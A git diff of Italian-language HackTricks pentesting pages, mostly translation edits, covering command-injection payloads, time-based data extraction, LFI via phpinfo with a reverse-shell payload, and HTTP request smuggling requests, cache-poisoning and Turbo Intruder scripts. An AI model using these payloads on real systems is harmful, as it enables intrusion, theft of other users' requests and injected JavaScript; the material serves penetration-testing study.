```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -66,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### Parametri
|
||||
|
||||
Ecco i 25 parametri principali che potrebbero essere vulnerabili all'iniezione di codice e a vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Ecco i 25 parametri principali che potrebbero essere vulnerabili a iniezioni di codice e vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -94,9 +94,9 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili all'iniezione d
|
|||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Time based data exfiltration
|
||||
### Estrazione di dati basata sul tempo
|
||||
|
||||
Estrazione dei dati: carattere per carattere
|
||||
Estrazione di dati: carattere per carattere
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
|
@ -164,8 +164,8 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -32,7 +32,7 @@ Devi correggere l'exploit (cambia **=>** in **=>**). Per farlo puoi fare:
|
|||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Devi cambiare anche il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
|
||||
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
|
@ -48,7 +48,7 @@ In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Po
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
|
||||
**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Poi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
|
||||
|
||||
**Script Python per provare a forzare il nome (se la lunghezza = 6)**
|
||||
```python
|
||||
|
@ -74,15 +74,15 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Impara e pratica il hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -46,7 +46,7 @@ Questo consente a un utente di **modificare la prossima richiesta che arriva al
|
|||
### Realtà
|
||||
|
||||
Il **Front-End** (un load-balance / Reverse Proxy) **elabora** l'intestazione _**content-length**_ o l'intestazione _**transfer-encoding**_ e il server **Back-end** **elabora l'altra**, provocando una **desincronizzazione** tra i 2 sistemi.\
|
||||
Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
|
||||
Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **venisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
|
||||
|
||||
### Particolarità
|
||||
|
||||
|
@ -56,15 +56,15 @@ Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**
|
|||
* **Transfer-Encoding:** Questa intestazione utilizza nel **corpo** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova riga** ma questa nuova riga **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di dimensione 0 seguito da 2 nuove righe**: `0`
|
||||
* **Connection**: Basato sulla mia esperienza, è consigliato utilizzare **`Connection: keep-alive`** nella prima richiesta dello smuggling.
|
||||
|
||||
## Esempi di base
|
||||
## Esempi di Base
|
||||
|
||||
{% hint style="success" %}
|
||||
Quando cerchi di sfruttare questo con Burp Suite **disabilita `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
|
||||
Quando si cerca di sfruttare questo con Burp Suite **disabilita `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
|
||||
{% endhint %}
|
||||
|
||||
Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano le intestazioni `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a queste intestazioni. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi.
|
||||
|
||||
### Esempi di base dei tipi di vulnerabilità
|
||||
### Esempi di Base dei Tipi di Vulnerabilità
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
|
@ -181,7 +181,7 @@ Corpo Non Vuoto
|
|||
|
||||
#### Scenario TE.0
|
||||
|
||||
* Come il precedente ma utilizzando TE
|
||||
* Come il precedente ma utilizzando TE.
|
||||
* Tecnica [riportata qui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **Esempio**:
|
||||
```
|
||||
|
@ -280,7 +280,7 @@ X
|
|||
|
||||
### Test di Vulnerabilità di HTTP Request Smuggling
|
||||
|
||||
Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste del client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, ad esempio, facendo in modo che una richiesta a `/` restituisca una risposta 404. Gli esempi `CL.TE` e `TE.CL` precedentemente discussi in [Esempi di Base](./#basic-examples) dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client miri ad accedere a una risorsa diversa.
|
||||
Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste del client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, ad esempio, facendo in modo che una richiesta a `/` restituisca una risposta 404. Gli esempi `CL.TE` e `TE.CL` precedentemente discussi in [Esempi di Base](./#basic-examples) dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.
|
||||
|
||||
**Considerazioni Chiave**
|
||||
|
||||
|
@ -288,7 +288,7 @@ Quando testi le vulnerabilità di request smuggling interferendo con altre richi
|
|||
|
||||
* **Connessioni di Rete Distinte:** Le richieste "attacco" e "normali" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
|
||||
* **URL e Parametri Coerenti:** Cerca di utilizzare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a server back-end specifici in base a URL e parametri. Allineare questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
|
||||
* **Temporizzazione e Condizioni di Gara:** La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni occupate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
|
||||
* **Temporizzazione e Condizioni di Gara:** La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste concorrenti dell'applicazione. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni occupate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
|
||||
* **Sfide di Bilanciamento del Carico:** I server front-end che fungono da bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normali" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
|
||||
* **Impatto Utente Non Intenzionale:** Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non la richiesta "normale" che hai inviato per la rilevazione), questo indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero interrompere altri utenti, richiedendo un approccio cauto.
|
||||
|
||||
|
@ -298,7 +298,7 @@ Quando testi le vulnerabilità di request smuggling interferendo con altre richi
|
|||
|
||||
A volte, i proxy front-end applicano misure di sicurezza, esaminando le richieste in arrivo. Tuttavia, queste misure possono essere eluse sfruttando l'HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint riservati. Ad esempio, l'accesso a `/admin` potrebbe essere vietato esternamente, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP contrabbandata, lasciando un'opportunità per bypassare queste restrizioni.
|
||||
|
||||
Considera i seguenti esempi che illustrano come l'HTTP Request Smuggling può essere utilizzato per eludere i controlli di sicurezza del front-end, mirando specificamente al percorso `/admin` che è tipicamente protetto dal proxy front-end:
|
||||
Considera i seguenti esempi che illustrano come l'HTTP Request Smuggling possa essere utilizzato per eludere i controlli di sicurezza del front-end, mirando specificamente al percorso `/admin` che è tipicamente protetto dal proxy front-end:
|
||||
|
||||
**Esempio CL.TE**
|
||||
```
|
||||
|
@ -319,7 +319,7 @@ x=
|
|||
```
|
||||
Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, consentendo l'accesso non autorizzato al percorso `/admin`.
|
||||
|
||||
**TE.CL Esempio**
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
|
@ -341,7 +341,7 @@ Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfe
|
|||
|
||||
Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica comporta l'aggiunta di intestazioni, come `X-Forwarded-For: <IP del client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**.
|
||||
|
||||
Per indagare su come un proxy altera una richiesta, trova un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
|
||||
Per indagare su come un proxy altera una richiesta, individua un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -360,11 +360,11 @@ search=
|
|||
```
|
||||
In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà le intestazioni della richiesta successiva.
|
||||
|
||||
È importante allineare l'intestazione `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e aumentare gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.
|
||||
È importante allineare l'intestazione `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e aumentare gradualmente, poiché un valore troppo basso troncerebbe i dati riflessi, mentre un valore troppo alto potrebbe causare un errore nella richiesta.
|
||||
|
||||
Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.
|
||||
|
||||
Questo metodo serve principalmente a comprendere le modifiche alla richiesta effettuate dal proxy front-end, eseguendo essenzialmente un'indagine autodiretta.
|
||||
Questo metodo serve principalmente a comprendere le modifiche alla richiesta effettuate dal proxy front-end, eseguendo essenzialmente un'indagine autogestita.
|
||||
|
||||
### Catturare le richieste di altri utenti <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
|
@ -400,7 +400,7 @@ Inoltre, vale la pena notare che questo approccio è anche valido con una vulner
|
|||
|
||||
L'HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
|
||||
|
||||
* L'interazione con gli utenti target **non è necessaria**.
|
||||
* L'interazione con gli utenti target è **non necessaria**.
|
||||
* Consente di sfruttare il XSS in parti della richiesta che sono **normalmente inaccessibili**, come le intestazioni delle richieste HTTP.
|
||||
|
||||
In scenari in cui un sito web è suscettibile a Reflected XSS attraverso l'intestazione User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:
|
||||
|
@ -480,7 +480,7 @@ Risultati in:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
|
||||
In questo scenario, la richiesta di un file JavaScript da parte di un utente viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
|
||||
|
||||
### Sfruttare il Web Cache Poisoning tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -488,9 +488,9 @@ Il web cache poisoning può essere eseguito se qualsiasi componente dell'**infra
|
|||
|
||||
In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento a [Esempi di Base](./#basic-examples)). Allo stesso modo, è possibile ingannare il server per consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).
|
||||
|
||||
Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
|
||||
Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento interno a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
|
||||
|
||||
Di seguito è riportata un'illustrazione di sfruttare **l'avvelenamento della cache combinato con un reindirizzamento in loco a un open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
|
||||
Di seguito è riportata un'illustrazione di sfruttamento del **cache poisoning combinato con un reindirizzamento interno a open redirect**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -514,14 +514,14 @@ Dopo un **avvelenamento del socket** riuscito, dovrebbe essere avviata una **ric
|
|||
|
||||
Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
|
||||
|
||||
### Utilizzare l'HTTP request smuggling per eseguire la web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Utilizzare l'HTTP request smuggling per eseguire la deception della cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Qual è la differenza tra web cache poisoning e web cache deception?**
|
||||
> **Qual è la differenza tra avvelenamento della cache web e deception della cache web?**
|
||||
>
|
||||
> * Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
|
||||
> * Nella **web cache deception**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
|
||||
> * Nell'**avvelenamento della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
|
||||
> * Nella **deception della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
|
||||
|
||||
L'attaccante crea una richiesta di smuggling che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
|
||||
L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -532,7 +532,7 @@ L'attaccante crea una richiesta di smuggling che recupera contenuti sensibili sp
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Se questa richiesta di contrabbando avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
|
||||
Se questa richiesta di contrabbando avvelena un'entrata della cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
|
||||
|
||||
### Abusare di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -553,13 +553,13 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che rifletterà i dati inviati.\
|
||||
Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che sarà **riflettente i dati inviati**.\
|
||||
Poiché la risposta HEAD conterrà un'intestazione `Content-Length`, la **risposta della richiesta TRACE sarà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta.\
|
||||
Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio, per iniettare codice JS arbitrario**.
|
||||
|
||||
### Abusare di TRACE tramite HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuare seguendo [**questo post**](https://portswigger.net/research/trace-desync-attack) è suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
|
||||
Continuando a seguire [**questo post**](https://portswigger.net/research/trace-desync-attack) viene suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE è possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
|
||||
|
||||
Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile far sì che la risposta TRACE contenga una risposta HTTP valida dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).
|
||||
|
||||
|
@ -582,7 +582,7 @@ Content-Length: 44\r\n
|
|||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del corpo HEAD e una volta che il Content-Length HEAD termina, una valida risposta HTTP viene smuggled):
|
||||
Genererà queste risposte (nota come la risposta HEAD abbia un Content-Length che rende la risposta TRACE parte del corpo HEAD e una volta che il Content-Length HEAD termina, una valida risposta HTTP viene smuggled):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
@ -625,7 +625,7 @@ Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttar
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Script Turbo intruder
|
||||
## Script Turbo Intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -735,15 +735,15 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
